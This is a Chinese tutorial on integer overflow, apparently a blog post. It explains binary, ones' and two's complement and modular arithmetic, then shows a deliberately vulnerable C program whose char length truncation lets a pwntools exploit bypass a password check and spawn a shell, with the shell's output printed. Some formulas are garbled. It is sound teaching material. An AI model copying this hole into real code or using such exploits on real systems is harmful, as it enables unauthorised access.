整数溢出的介绍
在计算机中,一个数据类型可以存储数值的容量并不是无限的,它能存储的数值容量是由数据类型占用的比特位数量决定的。
此时会有两种情况需要考虑,一是非常大的整数(所有数据类型都容不下了)应该如何去计算,二是超出类型A容量的整数存入类型A后会发生什么变化。
整数基础
为了分析并解决着两类问题,我们首先需要先了解一下计算机中整数是如何存储的。
整数是信息的一种表现形式,计算机为了表达信息就需要创造出一种语言,语言由符号组成(比如a-z,汉字等等),由于计算机由物理介质组成,想要使用英文字母进行通信就需要找到具有26种状态的物理介质,显然具有这样性质的物理介质并不容易找到。
但是具有2种状态的物理介质就非常容易搞定(比如电路的高低电平),因此计算机采用二进制计数法中作为语言表达信息(计算机中经常可以看到16进制的身影,是因为16是2的4倍,4个二进制数等于1个十六进制数)。
1 2 3 4 5 6 7 8 9 10 11 12 | | 16 进制 | 二进制 |
| 0xa7 | 1010 0111 |
b1010 - > 0xa - > 0 * 2 ^ 0 + 1 * 2 ^ 1 + 0 * 2 ^ 2 + 1 * 2 ^ 3
b0111 - > 0x7 - > 1 * 2 ^ 0 + 1 * 2 ^ 1 + 1 * 2 ^ 2 + 0 * 2 ^ 3
b10100111 - > 提出 2 的 4 次方
1 * 2 ^ 0 + 1 * 2 ^ 1 + 1 * 2 ^ 2 + 0 * 2 ^ 3 +
0 * 2 ^ 4 + 1 * 2 ^ 5 + 0 * 2 ^ 6 + 1 * 2 ^ 7
= 1 * 2 ^ 0 + 1 * 2 ^ 1 + 1 * 2 ^ 2 + 0 * 2 ^ 3 +
2 ^ 4 * ( 0 * 2 ^ 0 + 1 * 2 ^ 1 + 0 * 2 ^ 2 + 1 * 2 ^ 3 )
= 0xa7
|
想要表达正整数,二进制计数法就足以表达意思了,但它表达负整数就不行了。
原码
可以先这样,将最高的比特位作为标志位标记正负,0xxx代表正数,1xxx代表负数,这样问题不就解决了吗。
那我们接下来再从运算角度上看看。
1 2 3 4 | - 2 + 1 = - 1
1 - > b0001
- 2 - > b1010
b1010 + b0001 = b1011 - > - 3
|
原码并没有给正数和负数间建立数学联系,因此原码表示的负数参与进计算时出现错误是一种必然。
对于人类来讲,通过符号-
在逻辑上区分正负数并不是问题,但对于计算机来讲,就比较困难了。
加法逆元与模运算
我们知道x−y可以看作是x+(−y),正数y的加法逆元是-y,此时我们将减法运算转换成了加法运算,那么加法逆元能不能使用正数进行表示呢?
首先我们已经知道了数据类型存储的数值数量是有上限的,一个数值超出最大值后会出现什么情况呢?答案其实很简单,把多余的部分扔掉就好了,就好比你有一个桶,满了就把水倒掉,留下空桶再继续接水,这个过程可以被称作是模运算(容量被称作是模,模运算和取余的差别在于,取模是向无穷小取整,而取余则向0取整)。
因此我们可以找到数值A(≤最大值)对应的数值B(>最大值),使得数值B参与计算时可以起到和数值A一样的效果(水桶容量为5升,接3升水和接8升水,水桶中最后装的都是3升水,8升水中多出去的5升被倒掉了)。
对于12和4它们相加和是24(模23的整数倍),且根据模23进行模运算结果也是相同的,从数学上讲,具备这一类性质的数值属于同余类。
1 2 3 4 | 模为 8
1 + 4 = 5
1 + 12 = 13 - > 13 mod 8 = 5
12 mod 8 = 4
|
假如将正数A看作向前进,那么对应的负数-A就相当于向后退,那么只有向后退才可以达到负数想要的效果吗?
当然不是,加上一个大于等于最大值的数值也可以。
1 2 3 | 模为 5 :
4 - 1 = 4 + ( - 1 ) = 3
4 + 4 = 8 - > 8 mod 5 = 3
|
观察上方的示例推断出,由于模的限制,在计算机中减法与加法运算结果是同余类,由此可以实现减法运算向加法运算的转变,因为加数可以是0,所以作为被加数的加法逆元,其负数表示和正数也是同余类,由此我们可以得到加法逆元的负数表示向正数表示转变的表达式−x≡M−x(modM)。
1 2 3 4 5 6 7 8 9 | 模记作M
0 ≤ a < M, 0 ≤ x ≤ M - > |a + ( - x)| < M
0 ≤ a < M, 2M > y ≥ M - > a + y > M
(a + ( - x)) ≡ (a + y) (mod M)
设a = 0
- x ≡ y (mod M)
- > ( - x + y) / M = 1
- > - x = M - y
- x ≡ M - x (mod M)
|
补码
在计算机中,数据类型占用n个比特位,我是用2n作为模合情合理吧,那么正数继续沿用原码的表示方式,我们可以非常容易的得到负数的表示方式−x≡2n−x(mod2n)。
奇妙的二进制与反码的产生
由于计算机采用二进制表达信息,所以这里会产生一个非常有意思的事情,就是2n的二进制表示格式为b1000...000
,模2n下最大值的二进制表示形式为b111...111
,即2n−1,因此2^n
减去任意数值,都相当于被减数的二进制表示取反后再加1。
1 2 3 4 5 6 7 8 | 假设数据类型占用 4 个比特位,模为 2 ^ 4
- 5 ≡ 2 ^ 4 - 5 (mod 2 ^ 4 )
- 5 ≡ 16 - 5 = 11
5 - > b0101
11 - > b1011
16 - 5
- > b10000 - b0101 = b1 + b1111 - b0101 = b1 + b1010 = b1011
|
我们将以2n−1为模的计算方式称作反码。
反码的缺陷
在现在的计算机中,一般使用的都是补码,而不使用反码则是因为它存在较为致命的缺陷。
1 2 3 4 5 | 假设数据类型占用 4 个比特位,采用反码表示
b0000 - b0111
+ 0 - + 7
b1000 - b1111
- 7 - - 0
|
从上方的示例中可以看到,反码表示的正数和负数中同时存在着正零值和负零值,它破坏了数值的连续性和一致性,为了规避此问题采用补码。
模运算与消失的高比特位
二进制表示的数值进行模运算,只需要根据模大小将多余的高比特位抹除就可以,这个结论对吗?
答案是肯定的,下方会给出推到过程。
∑i=0w−1xi2i(mod2n)=(xw−12w−1+⋯+x020)(mod2n)=xw−12w−1(mod2n)+⋯+x020(mod2n)=(xw−12w−1−2n2nxw−12w−1)+⋯+(xn2n−2n2nxn2n)+⋯+(x020−2n2nx020)=(xw−12w−1−xw−12w−1)+⋯+∑i=0nxi2i=0++⋯+∑i=0nxi2i=∑i=0nxi2i
从上面的推到中可以看出,低比特位区域的因为数值大小没有超过模所以不受影响,高比特位区域的数值自己和自己消除了,所以上方提出的结论是正确的。
总结
计算机为了减法运算而单独实现电路是非常不明智的,考虑到加法逆元可以将减法运算转变为加法运算,所以计算机使用加法运算代替减法运算。
在模运算中加法逆元的负数表示可以转变为正数表示(互为同余类),此时负数就被彻底消除。
对于计算机来讲,占据n个比特位的数据类型参与加减法运算时,它们结果天生就是模2n下的同余类计算,因此补码就此产生并成为主流。
反码从二进制的角度上观察是比较有趣的(正数取反就可以),但是反码产生的数值会有不连续和不一致的问题,这样的问题应该尽量避免,所以弃用了反码。
溢出的情况分析
让整数数据类型A发生异常情况其实都可以归咎为一类,就是数据类型A被塞入了超量整数B,导致整数B进行模运算后再交给数据类型A,使数据类型A中存储的数值与数值B不相符。
在C语言中存在着两大类整数数据类型,一是无符号类型,二是有符号类型,两者的区别在于无符号类型只表示正整数,有符号类型既可以表示正整数也可以表示负整数。
其中无符号数溢出时,直接对数值取模获得可以获得新的结果。有符号数溢出时,情况会复杂一些,因为有符号数据类型虽然占用了n个比特位,但是它相当于将空间劈开了一半,正整数和负整数各占2n−1,当数值溢出时,会导致最高比特位(符号位)发生变化。
在AMD64架构的机器中,有符号数据类型产生溢出时会被eflags
标志寄存器中的OF
标志位记录,无符号数据类型产生溢出时会被eflags
标志寄存器中的CF
标志位记录。
由于无符号数据类型产生溢出时不会导致符号改变,所以一般会将这种情况称作是回绕。
数据类型变化的情况分析
当宽度(占用比特位数量)更小的数据类型向宽度更大的数据类型进行转换时,不会带来什么问题,仍会保留原数值,但反之则不然。
宽度更大的数据类型向宽度更小的数据类型进行转换时,一是原数值在进行模运算后后可能出现数值上损失,二是符号位可能会发生变化,三是目标数据类型可能与源数据类型对符号位的解释不一致导致产生的数值变化。
利用思路
一个变量在程序的作用大致可以分成对外输出和作为限制条件存在两种,当我们可以控制变量时,就可以突破原有的限制条件造成破坏。
因此当我们想要利用整数类型的变量进行PWN时,首先要确定存在可以利用的变量,整数类型的变量在程序经常会被用于if
语句(等其他条件语句)或者strncpy
接口(等其他缓冲区变量的复制接口)中,当我们控制了变量,就可以让它跳过条件语句的检查或者往缓冲区内复制过量的数据。
显然整数溢出并不会直接导致安全问题,我们需要借助整数溢出迫使其他部分出错。
示例讲解
程序的源代码在下方给出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | int vuln(const char * buf, char len )
{
printf( "buf size %d\n" , len );
if (strncmp(USER_CORRECT_PASSWD, buf, len ) = = 0 ) {
system( "/bin/sh" );
}
}
int main( int argc, char * * argv)
{
printf( "hello int abnormal\n" );
if (argc = = 2 ) {
vuln(argv[ 1 ], strnlen(argv[ 1 ], 0x1000 ));
}
else {
printf( "need input\n" );
}
return 0 ;
}
|
从上方的程序中可以看到,strnlen
的返回值属于size_t
类型,而vuln
函数中len
形参的数据类型是char
,size_t
明显是比char
要宽的,当我们提交的argv[1]
的长度超出char
的容量时,就会发生溢出。
在vuln
函数中会使用strncmp
函数中跟预设的字符串进行比对,如果一致就会通过system
函数调用Shell,它这里比较两个字符串的长度是形参len
决定的,如果我们让传递给len
的数值溢出到0,那么strncmp
函数就不会理会待比较字符串内容永远返回0了。
exploit构造
经过上面的分析,构造出下方的exploit。
由于char
类型占了1字节(8比特),所以模是28。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import pwn
import os
pwn.context.clear()
pwn.context.update(
arch = 'amd64' , os = 'linux' ,
)
target_info = {
'exec_path' : './int_abnormal' ,
'char_bytes' : 0x8 ,
}
pwn.context.binary = pwn.ELF(target_info[ 'exec_path' ])
cmdline = b 'A' * ( 2 * * target_info[ 'char_bytes' ])
conn = pwn.process([target_info[ 'exec_path' ], cmdline])
conn.interactive()
|
成功PWN
运行exploit成功获取Shell。
1 2 3 4 5 6 7 8 9 10 11 | [ + ] Starting local process './int_abnormal' : pid 5236
[ * ] Switching to interactive mode
hello int abnormal
buf size 0
$ id
uid = 1000 (astaroth) gid = 1000 (astaroth) groups = 1000 (astaroth), 24 (cdrom), 25 (floppy), 27 (sudo), 29 (audio), 30 (dip), 44 (video), 46 (plugdev), 100 (users), 106 (netdev), 114 (bluetooth), 117 (lpadmin), 121 (scanner)
$ exit
[ * ] Got EOF while reading in interactive
$
[ * ] Process './int_abnormal' stopped with exit code 0 (pid 5236 )
[ * ] Got EOF while sending in interactive
|